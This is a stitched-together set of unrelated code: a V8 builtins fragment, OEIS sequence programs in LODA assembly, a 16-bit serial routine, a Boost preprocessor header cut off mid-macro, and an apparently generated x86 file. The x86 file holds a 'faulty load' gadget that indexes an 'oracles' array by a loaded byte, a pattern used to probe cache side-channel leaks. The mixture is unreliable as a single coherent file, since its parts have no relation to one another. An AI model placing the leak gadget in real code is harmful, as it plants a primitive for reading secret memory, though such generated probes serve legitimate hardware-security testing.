Generate_KeyedStoreIC_MissForceGeneric(MacroAssembler* masm) { KeyedStoreIC::GenerateMiss(masm, true); } static void Generate_KeyedStoreIC_Slow(MacroAssembler* masm) { KeyedStoreIC::GenerateSlow(masm); } static void Generate_KeyedStoreIC_Initialize(MacroAssembler* masm) { KeyedStoreIC::GenerateInitialize(masm); } static void Generate_KeyedStoreIC_Initialize_Strict(MacroAssembler* masm) { KeyedStoreIC::GenerateInitialize(masm); } static void Generate_KeyedStoreIC_NonStrictArguments(MacroAssembler* masm) { KeyedStoreIC::GenerateNonStrictArguments(masm); } static void Generate_TransitionElementsSmiToDouble(MacroAssembler* masm) { KeyedStoreIC::GenerateTransitionElementsSmiToDouble(masm); } static void Generate_TransitionElementsDoubleToObject(MacroAssembler* masm) { KeyedStoreIC::GenerateTransitionElementsDoubleToObject(masm); } #ifdef ENABLE_DEBUGGER_SUPPORT static void Generate_LoadIC_DebugBreak(MacroAssembler* masm) { Debug::GenerateLoadICDebugBreak(masm); } static void Generate_StoreIC_DebugBreak(MacroAssembler* masm) { Debug::GenerateStoreICDebugBreak(masm); } static void Generate_KeyedLoadIC_DebugBreak(MacroAssembler* masm) { Debug::GenerateKeyedLoadICDebugBreak(masm); } static void Generate_KeyedStoreIC_DebugBreak(MacroAssembler* masm) { Debug::GenerateKeyedStoreICDebugBreak(masm); } static void Generate_Return_DebugBreak(MacroAssembler* masm) { Debug::GenerateReturnDebugBreak(masm); } static void Generate_CallFunctionStub_DebugBreak(MacroAssembler* masm) { Debug::GenerateCallFunctionStubDebugBreak(masm); } static void Generate_CallFunctionStub_Recording_DebugBreak( MacroAssembler* masm) { Debug::GenerateCallFunctionStubRecordDebugBreak(masm); } static void Generate_CallConstructStub_DebugBreak(MacroAssembler* masm) { Debug::GenerateCallConstructStubDebugBreak(masm); } static void Generate_CallConstructStub_Recording_DebugBreak( MacroAssembler* masm) { Debug::GenerateCallConstructStubRecordDebugBreak(masm); } static void Generate_Slot_DebugBreak(MacroAssembler* masm) { Debug::GenerateSlotDebugBreak(masm); } static void Generate_PlainReturn_LiveEdit(MacroAssembler* masm) { Debug::GeneratePlainReturnLiveEdit(masm); } static void Generate_FrameDropper_LiveEdit(MacroAssembler* masm) { Debug::GenerateFrameDropperLiveEdit(masm); } #endif Builtins::Builtins() : initialized_(false) { memset(builtins_, 0, sizeof(builtins_[0]) * builtin_count); memset(names_, 0, sizeof(names_[0]) * builtin_count); } Builtins::~Builtins() { } #define DEF_ENUM_C(name, ignore) FUNCTION_ADDR(Builtin_##name), Address const Builtins::c_functions_[cfunction_count] = { BUILTIN_LIST_C(DEF_ENUM_C) }; #undef DEF_ENUM_C #define DEF_JS_NAME(name, ignore) #name, #define DEF_JS_ARGC(ignore, argc) argc, const char* const Builtins::javascript_names_[id_count] = { BUILTINS_LIST_JS(DEF_JS_NAME) }; int const Builtins::javascript_argc_[id_count] = { BUILTINS_LIST_JS(DEF_JS_ARGC) }; #undef DEF_JS_NAME #undef DEF_JS_ARGC struct BuiltinDesc { byte* generator; byte* c_code; const char* s_name; // name is only used for generating log information. int name; Code::Flags flags; BuiltinExtraArguments extra_args; }; #define BUILTIN_FUNCTION_TABLE_INIT { V8_ONCE_INIT, {} } class BuiltinFunctionTable { public: BuiltinDesc* functions() { CallOnce(&once_, &Builtins::InitBuiltinFunctionTable); return functions_; } OnceType once_; BuiltinDesc functions_[Builtins::builtin_count + 1]; friend class Builtins; }; static BuiltinFunctionTable builtin_function_table = BUILTIN_FUNCTION_TABLE_INIT; // Define array of pointers to generators and C builtin functions. // We do this in a sort of roundabout way so that we can do the initialization // within the lexical scope of Builtins:: and within a context where // Code::Flags names a non-abstract type. void Builtins::InitBuiltinFunctionTable() { BuiltinDesc* functions = builtin_function_table.functions_; functions[builtin_count].generator = NULL; functions[builtin_count].c_code = NULL; functions[builtin_count].s_name = NULL; functions[builtin_count].name = builtin_count; functions[builtin_count].flags = static_cast<Code::Flags>(0); functions[builtin_count].extra_args = NO_EXTRA_ARGUMENTS; #define DEF_FUNCTION_PTR_C(aname, aextra_args) \ functions->generator = FUNCTION_ADDR(Generate_Adaptor); \ functions->c_code = FUNCTION_ADDR(Builtin_##aname); \ functions->s_name = #aname; \ functions->name = c_##aname; \ functions->flags = Code::ComputeFlags(Code::BUILTIN); \ functions->extra_args = aextra_args; \ ++functions; #define DEF_FUNCTION_PTR_A(aname, kind, state, extra) \ functions->generator = FUNCTION_ADDR(Generate_##aname); \ functions->c_code = NULL; \ functions->s_name = #aname; \ functions->name = k##aname; \ functions->flags = Code::ComputeFlags(Code::kind, \ state, \ extra); \ functions->extra_args = NO_EXTRA_ARGUMENTS; \ ++functions; BUILTIN_LIST_C(DEF_FUNCTION_PTR_C) BUILTIN_LIST_A(DEF_FUNCTION_PTR_A) BUILTIN_LIST_DEBUG_A(DEF_FUNCTION_PTR_A) #undef DEF_FUNCTION_PTR_C #undef DEF_FUNCTION_PTR_A } void Builtins::SetUp(bool create_heap_objects) { ASSERT(!initialized_); Isolate* isolate = Isolate::Current(); Heap* heap = isolate->heap(); // Create a scope for the handles in the builtins. HandleScope scope(isolate); const BuiltinDesc* functions = builtin_function_table.functions(); // For now we generate builtin adaptor code into a stack-allocated // buffer, before copying it into individual code objects. Be careful // with alignment, some platforms don't like unaligned code. union { int force_alignment; byte buffer[4*KB]; } u; // Traverse the list of builtins and generate an adaptor in a // separate code object for each one. for (int i = 0; i < builtin_count; i++) { if (create_heap_objects) { MacroAssembler masm(isolate, u.buffer, sizeof u.buffer); // Generate the code/adaptor. typedef void (*Generator)(MacroAssembler*, int, BuiltinExtraArguments); Generator g = FUNCTION_CAST<Generator>(functions[i].generator); // We pass all arguments to the generator, but it may not use all of // them. This works because the first arguments are on top of the // stack. ASSERT(!masm.has_frame()); g(&masm, functions[i].name, functions[i].extra_args); // Move the code into the object heap. CodeDesc desc; masm.GetCode(&desc); Code::Flags flags = functions[i].flags; Object* code = NULL; { // During startup it's OK to always allocate and defer GC to later. // This simplifies things because we don't need to retry. AlwaysAllocateScope __scope__; { MaybeObject* maybe_code = heap->CreateCode(desc, flags, masm.CodeObject()); if (!maybe_code->ToObject(&code)) { v8::internal::V8::FatalProcessOutOfMemory("CreateCode"); } } } // Log the event and add the code to the builtins array. PROFILE(isolate, CodeCreateEvent(Logger::BUILTIN_TAG, Code::cast(code), functions[i].s_name)); GDBJIT(AddCode(GDBJITInterface::BUILTIN, functions[i].s_name, Code::cast(code))); builtins_[i] = code; #ifdef ENABLE_DISASSEMBLER if (FLAG_print_builtin_code) { PrintF("Builtin: %s\n", functions[i].s_name); Code::cast(code)->Disassemble(functions[i].s_name); PrintF("\n"); } #endif } else { // Deserializing. The values will be filled in during IterateBuiltins. builtins_[i] = NULL; } names_[i] = functions[i].s_name; } // Mark as initialized. initialized_ = true; } void Builtins::TearDown() { initialized_ = false; } void Builtins::IterateBuiltins(ObjectVisitor* v) { v->VisitPointers(&builtins_[0], &builtins_[0] + builtin_count); } const char* Builtins::Lookup(byte* pc) { // may be called during initialization (disassembler!) if (initialized_) { for (int i = 0; i < builtin_count; i++) { Code* entry = Code::cast(builtins_[i]); if (entry->contains(pc)) { return names_[i]; } } } return NULL; } #define DEFINE_BUILTIN_ACCESSOR_C(name, ignore) \ Handle<Code> Builtins::name() { \ Code** code_address = \ reinterpret_cast<Code**>(builtin_address(k##name)); \ return Handle<Code>(code_address); \ } #define DEFINE_BUILTIN_ACCESSOR_A(name, kind, state, extra) \ Handle<Code> Builtins::name() { \ Code** code_address = \ reinterpret_cast<Code**>(builtin_address(k##name)); \ return Handle<Code>(code_address); \ } BUILTIN_LIST_C(DEFINE_BUILTIN_ACCESSOR_C) BUILTIN_LIST_A(DEFINE_BUILTIN_ACCESSOR_A) BUILTIN_LIST_DEBUG_A(DEFINE_BUILTIN_ACCESSOR_A) #undef DEFINE_BUILTIN_ACCESSOR_C #undef DEFINE_BUILTIN_ACCESSOR_A } } // namespace v8::internal
; A175005: Expansion of x/(1 - 4*x + 3*x^2 - 2*x^3). ; Submitted by Jamie Morken(s3) ; 0,1,4,13,42,137,448,1465,4790,15661,51204,167413,547362,1789617,5851208,19130705,62548430,204504021,668632204,2186113613,7147565882,23369187097,76406277968,249812682345,816770269670,2670455587581 mov $1,1 lpb $0 sub $0,1 mul $1,2 add $3,$1 add $1,$2 add $2,$3 lpe mov $0,$2 div $0,2
; A212742: Number of (w,x,y,z) with all terms in {0,...,n} and max{w,x,y,z}<=2*min{w,x,y,z}. ; 1,2,17,32,97,162,337,512,881,1250,1921,2592,3697,4802,6497,8192,10657,13122,16561,20000,24641,29282,35377,41472,49297,57122,66977,76832,89041,101250,116161,131072,149057,167042,188497,209952,235297 mov $16,$0 mov $18,$0 add $18,1 lpb $18 clr $0,16 mov $0,$16 sub $18,1 sub $0,$18 mov $13,$0 mov $15,$0 add $15,1 lpb $15 mov $0,$13 sub $15,1 sub $0,$15 mov $9,$0 mov $11,2 lpb $11 mov $0,$9 sub $11,1 add $0,$11 sub $0,1 mov $5,$0 div $5,2 mul $5,2 add $5,1 mov $0,$5 pow $0,2 mov $2,1 add $2,$0 mul $5,$2 mov $1,$5 mov $12,$11 lpb $12 mov $10,$1 sub $12,1 lpe lpe lpb $9 mov $9,0 sub $10,$1 lpe mov $1,$10 div $1,2 add $14,$1 lpe add $17,$14 lpe mov $1,$17
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %r8 push %rbx push %rsi lea addresses_WC_ht+0x1656d, %r13 nop nop nop nop cmp $47150, %r8 mov $0x6162636465666768, %rsi movq %rsi, (%r13) nop sub %r8, %r8 lea addresses_A_ht+0x67d1, %r13 clflush (%r13) nop cmp $24692, %rbx mov $0x6162636465666768, %r15 movq %r15, %xmm5 movups %xmm5, (%r13) nop nop inc %rsi pop %rsi pop %rbx pop %r8 pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %rax push %rbx push %rcx push %rsi // Faulty Load lea addresses_RW+0x18e11, %r14 nop nop nop nop nop and $9512, %rbx mov (%r14), %si lea oracles, %rcx and $0xff, %rsi shlq $12, %rsi mov (%rcx,%rsi,1), %rsi pop %rsi pop %rcx pop %rbx pop %rax pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': True, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
global _get_via_serial _get_via_serial: push bp mov bp, sp call os_get_via_serial and ah, 64 jnz .error mov word [_ioerr], 0 jmp .skip .error: mov word [_ioerr], 1 .skip: pop bp ret
; A082140: A transform of binomial(n,6). ; 1,7,56,336,1680,7392,29568,109824,384384,1281280,4100096,12673024,38019072,111132672,317521920,889061376,2444918784,6615662592,17641766912,46425702400,120706826240,310388981760,790081044480,1992378286080,4980945715200,12352745373696,30406757842944,74327630282752,180509959258112,435713694760960,1045712867426304,2496217812566016,5928517304844288,14012859084177408,32971433139240960,77247357640507392,180243834494517248,418945128825094144,970188719384428544,2238897044733296640,5149463202886582272,11806086367593627648,26985340268785434624,61501473170720292864,139776075388000665600,316825770879468175360,716301742857928048640,1615489037083837726720,3634850333438634885120,8159868095474486476800,18278104533862849708032,40856939546281664053248,91142403603243712118784,202920823116655811887104,450935162481457359749120,1000256178595232688898048,2214852966889443811131392,4895990768913507371974656,10804945145188430062288896,23807506252110100137246720,52376513754642220301942784,115056603985607500335415296,252382228097461613638975488,552837261546820677494898688,1209331509633670232020090880,2641924221045864199182352384,5764198300463703707306950656,12560790326383593153236041728,27338190710364290980572561408,59430849370357154305592524800,129049844347061249349286625280,279910929992217357743523102720,606473681649804275110966722560,1312641667132453088596338933760,2838144145151249921289381478400,6130391353526699829985063993344,13228739236557615422599348617216,28519100172319015066902491824128,61425754217302493990251520851968,132182002746093974409402006896640,284191305904102044980214314827776,610485027497700689216756676296704,1310309327312138064660355793027072,2810060967006753921801726881431552,6021559215014472689575129031639040,12893220907442753288266746867744768,27585495894993797733035830507732992,58975887775503981360283499706187776,125993942065849414724242022099582976,268975831376532458400067238190120960,573815106936602577920143441472258048 mov $1,-2 pow $1,$0 mov $2,-7 bin $2,$0 mul $1,$2 mul $1,6 sub $1,6 div $1,12 add $1,1 mov $0,$1
; A024898: Positive integers k such that 6*k - 1 is prime. ; 1,2,3,4,5,7,8,9,10,12,14,15,17,18,19,22,23,25,28,29,30,32,33,38,39,40,42,43,44,45,47,49,52,53,58,59,60,64,65,67,70,72,74,75,77,78,80,82,84,85,87,93,94,95,98,99,100,103,107,108,109,110,113,114,117,120,124,127,129,133,135,137,138,140,143,144,147,148,152,155,157,158,159,162,163,164,169,170,172,175,177,182,183,184,185,192,194,197,198,199 mov $2,261241 mov $6,4 lpb $2 sub $2,1 mov $3,$6 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $4,$0 max $4,0 cmp $4,$0 mov $5,11 lpb $5 add $1,5 mul $2,$4 trn $5,6 add $6,3 lpe lpe div $1,10 mov $0,$1
; A124093: Triangular numbers alternating with squares. ; 0,0,1,1,3,4,6,9,10,16,15,25,21,36,28,49,36,64,45,81,55,100,66,121,78,144,91,169,105,196,120,225,136,256,153,289,171,324,190,361,210,400,231,441,253,484,276,529,300,576,325,625,351,676,378,729,406,784,435,841,465,900,496,961,528,1024,561,1089,595,1156,630,1225,666,1296,703,1369,741,1444,780,1521,820,1600,861,1681,903,1764,946,1849,990,1936,1035,2025,1081,2116,1128,2209,1176,2304,1225,2401 mov $1,$0 div $1,2 mov $2,-1 pow $2,$0 dif $0,2 add $0,$2 mul $1,$0 mov $0,$1 div $0,2
// (C) Copyright Edward Diener 2011-2015 // Use, modification and distribution are subject to the Boost Software License, // Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt). #if !defined(BOOST_VMD_DETAIL_EQUAL_HPP) #define BOOST_VMD_DETAIL_EQUAL_HPP #include <boost/preprocessor/cat.hpp> #include <boost/preprocessor/detail/auto_rec.hpp> #include <boost/preprocessor/facilities/empty.hpp> #include <boost/preprocessor/facilities/overload.hpp> #include <boost/preprocessor/logical/compl.hpp> #include <boost/vmd/detail/recurse/equal/equal_headers.hpp> #include <boost/vmd/is_identifier.hpp> #include <boost/vmd/is_empty_list.hpp> #include <boost/vmd/detail/not_empty.hpp> #include <boost/vmd/detail/recurse/equal/equal_1.hpp> #include <boost/vmd/detail/recurse/equal/equal_2.hpp> #include <boost/vmd/detail/recurse/equal/equal_3.hpp> #include <boost/vmd/detail/recurse/equal/equal_4.hpp> #include <boost/vmd/detail/recurse/equal/equal_5.hpp> #include <boost/vmd/detail/recurse/equal/equal_6.hpp> #include <boost/vmd/detail/recurse/equal/equal_7.hpp> #include <boost/vmd/detail/recurse/equal/equal_8.hpp> #include <boost/vmd/detail/recurse/equal/equal_9.hpp> #include <boost/vmd/detail/recurse/equal/equal_10.hpp> #include <boost/vmd/detail/recurse/equal/equal_11.hpp> #include <boost/vmd/detail/recurse/equal/equal_12.hpp> #include <boost/vmd/detail/recurse/equal/equal_13.hpp> #include <boost/vmd/detail/recurse/equal/equal_14.hpp> #include <boost/vmd/detail/recurse/equal/equal_15.hpp> #include <boost/vmd/detail/recurse/equal/equal_16.hpp> #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_1(d,vseq1,vseq2) BOOST_VMD_DETAIL_EQUAL_1_D(d,vseq1,vseq2) #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_2(d,vseq1,vseq2) BOOST_VMD_DETAIL_EQUAL_2_D(d,vseq1,vseq2) #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_3(d,vseq1,vseq2) BOOST_VMD_DETAIL_EQUAL_3_D(d,vseq1,vseq2) #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_4(d,vseq1,vseq2) BOOST_VMD_DETAIL_EQUAL_4_D(d,vseq1,vseq2) #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_5(d,vseq1,vseq2) BOOST_VMD_DETAIL_EQUAL_5_D(d,vseq1,vseq2) #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_6(d,vseq1,vseq2) BOOST_VMD_DETAIL_EQUAL_6_D(d,vseq1,vseq2) #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_7(d,vseq1,vseq2) BOOST_VMD_DETAIL_EQUAL_7_D(d,vseq1,vseq2) #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_8(d,vseq1,vseq2) BOOST_VMD_DETAIL_EQUAL_8_D(d,vseq1,vseq2) #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_9(d,vseq1,vseq2) BOOST_VMD_DETAIL_EQUAL_9_D(d,vseq1,vseq2) #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_10(d,vseq1,vseq2) BOOST_VMD_DETAIL_EQUAL_10_D(d,vseq1,vseq2) #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_11(d,vseq1,vseq2) BOOST_VMD_DETAIL_EQUAL_11_D(d,vseq1,vseq2) #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_12(d,vseq1,vseq2) BOOST_VMD_DETAIL_EQUAL_12_D(d,vseq1,vseq2) #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_13(d,vseq1,vseq2) BOOST_VMD_DETAIL_EQUAL_13_D(d,vseq1,vseq2) #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_14(d,vseq1,vseq2) BOOST_VMD_DETAIL_EQUAL_14_D(d,vseq1,vseq2) #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_15(d,vseq1,vseq2) BOOST_VMD_DETAIL_EQUAL_15_D(d,vseq1,vseq2) #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_16(d,vseq1,vseq2) BOOST_VMD_DETAIL_EQUAL_16_D(d,vseq1,vseq2) #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_AUTO_REC_D(n) \ BOOST_VMD_DETAIL_EQUAL_IS_1 \ ( \ BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_ ## n(1,,) \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_SIMPLE_D \ BOOST_PP_CAT \ ( \ BOOST_VMD_DETAIL_EQUAL_SIMPLE_D_, \ BOOST_PP_AUTO_REC(BOOST_VMD_DETAIL_EQUAL_SIMPLE_AUTO_REC_D,16) \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_CNI_CHK(vseq1,vseq2,vtype) \ BOOST_PP_IIF \ ( \ BOOST_PP_BITOR \ ( \ BOOST_PP_BITOR \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE(vtype,BOOST_VMD_TYPE_ARRAY), \ BOOST_VMD_DETAIL_EQUAL_TYPE(vtype,BOOST_VMD_TYPE_LIST) \ ), \ BOOST_PP_BITOR \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE(vtype,BOOST_VMD_TYPE_SEQ), \ BOOST_VMD_DETAIL_EQUAL_TYPE(vtype,BOOST_VMD_TYPE_TUPLE) \ ) \ ), \ BOOST_VMD_DETAIL_DATA_EQUAL, \ BOOST_VMD_DETAIL_EQUAL_CNI_SMP \ ) \ (vseq1,vseq2,vtype) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_CNI_CHK_D(d,vseq1,vseq2,vtype) \ BOOST_PP_IIF \ ( \ BOOST_PP_BITOR \ ( \ BOOST_PP_BITOR \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE_D(d,vtype,BOOST_VMD_TYPE_ARRAY), \ BOOST_VMD_DETAIL_EQUAL_TYPE_D(d,vtype,BOOST_VMD_TYPE_LIST) \ ), \ BOOST_PP_BITOR \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE_D(d,vtype,BOOST_VMD_TYPE_SEQ), \ BOOST_VMD_DETAIL_EQUAL_TYPE_D(d,vtype,BOOST_VMD_TYPE_TUPLE) \ ) \ ), \ BOOST_VMD_DETAIL_DATA_EQUAL_D, \ BOOST_VMD_DETAIL_EQUAL_CNI_SMP_D \ ) \ (d,vseq1,vseq2,vtype) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_VSEQ(vseq1,vseq2,vtype) \ BOOST_VMD_DETAIL_DATA_EQUAL \ ( \ BOOST_VMD_TO_SEQ(vseq1), \ BOOST_VMD_TO_SEQ(vseq2), \ BOOST_VMD_TYPE_SEQ \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_VSEQ_D(d,vseq1,vseq2,vtype) \ BOOST_VMD_DETAIL_DATA_EQUAL_D \ ( \ d, \ BOOST_VMD_TO_SEQ_D(d,vseq1), \ BOOST_VMD_TO_SEQ_D(d,vseq2), \ BOOST_VMD_TYPE_SEQ \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_CNI(vseq1,vseq2,vtype) \ BOOST_PP_IIF \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE \ ( \ vtype, \ BOOST_VMD_TYPE_SEQUENCE \ ), \ BOOST_VMD_DETAIL_EQUAL_VSEQ, \ BOOST_VMD_DETAIL_EQUAL_CNI_CHK \ ) \ (vseq1,vseq2,vtype) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_CNI_D(d,vseq1,vseq2,vtype) \ BOOST_PP_IIF \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE_D \ ( \ d, \ vtype, \ BOOST_VMD_TYPE_SEQUENCE \ ), \ BOOST_VMD_DETAIL_EQUAL_VSEQ_D, \ BOOST_VMD_DETAIL_EQUAL_CNI_CHK_D \ ) \ (d,vseq1,vseq2,vtype) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_TEST_TYPE_CHECK_TUPLE(vseq1,vtype1,type) \ BOOST_PP_BITOR \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE \ ( \ BOOST_VMD_TYPE_ARRAY, \ vtype1 \ ), \ BOOST_PP_BITAND \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE \ ( \ BOOST_VMD_TYPE_LIST, \ vtype1 \ ), \ BOOST_PP_COMPL \ ( \ BOOST_VMD_IS_EMPTY_LIST(vseq1) \ ) \ ) \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_TEST_TYPE_CHECK_TUPLE_D(d,vseq1,vtype1,type) \ BOOST_PP_BITOR \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE_D \ ( \ d, \ BOOST_VMD_TYPE_ARRAY, \ vtype1 \ ), \ BOOST_PP_BITAND \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE_D \ ( \ d, \ BOOST_VMD_TYPE_LIST, \ vtype1 \ ), \ BOOST_PP_COMPL \ ( \ BOOST_VMD_IS_EMPTY_LIST_D(d,vseq1) \ ) \ ) \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_TEST_TYPE_CHECK_IDENTIFIER(vseq1,vtype1,type) \ BOOST_VMD_IDENTITY_RESULT \ ( \ BOOST_PP_IIF \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE \ ( \ BOOST_VMD_TYPE_IDENTIFIER, \ type \ ), \ BOOST_VMD_IS_IDENTIFIER, \ BOOST_VMD_IDENTITY(0) \ ) \ (vseq1) \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_TEST_TYPE_CHECK_IDENTIFIER_D(d,vseq1,vtype1,type) \ BOOST_VMD_IDENTITY_RESULT \ ( \ BOOST_PP_IIF \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE_D \ ( \ d, \ BOOST_VMD_TYPE_IDENTIFIER, \ type \ ), \ BOOST_VMD_IS_IDENTIFIER_D, \ BOOST_VMD_IDENTITY(0) \ ) \ (d,vseq1) \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_TEST_TYPE_CHECK(vseq1,vtype1,type) \ BOOST_PP_IIF \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE \ ( \ BOOST_VMD_TYPE_TUPLE, \ type \ ), \ BOOST_VMD_DETAIL_EQUAL_TEST_TYPE_CHECK_TUPLE, \ BOOST_VMD_DETAIL_EQUAL_TEST_TYPE_CHECK_IDENTIFIER \ ) \ (vseq1,vtype1,type) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_TEST_TYPE_CHECK_D(d,vseq1,vtype1,type) \ BOOST_PP_IIF \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE_D \ ( \ d, \ BOOST_VMD_TYPE_TUPLE, \ type \ ), \ BOOST_VMD_DETAIL_EQUAL_TEST_TYPE_CHECK_TUPLE_D, \ BOOST_VMD_DETAIL_EQUAL_TEST_TYPE_CHECK_IDENTIFIER_D \ ) \ (d,vseq1,vtype1,type) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_TEST_TYPE(vseq1,vtype1,type) \ BOOST_VMD_IDENTITY_RESULT \ ( \ BOOST_PP_IIF \ ( \ BOOST_VMD_DETAIL_EQUAL_TYPE \ ( \ vtype1, \ type \ ), \ BOOST_VMD_IDENTITY(1), \ BOOST_VMD_DETAIL_EQUAL_TEST_TYPE_CHECK \ ) \ (vseq1,vtype1,type) \ ) \ /**/ #define BOOST_VMD_DETAIL_EQUAL_TEST_TYPE_D(d,vseq1,vtype1,type) \ BOOST_VMD_IDENTITY_RESULT \ ( 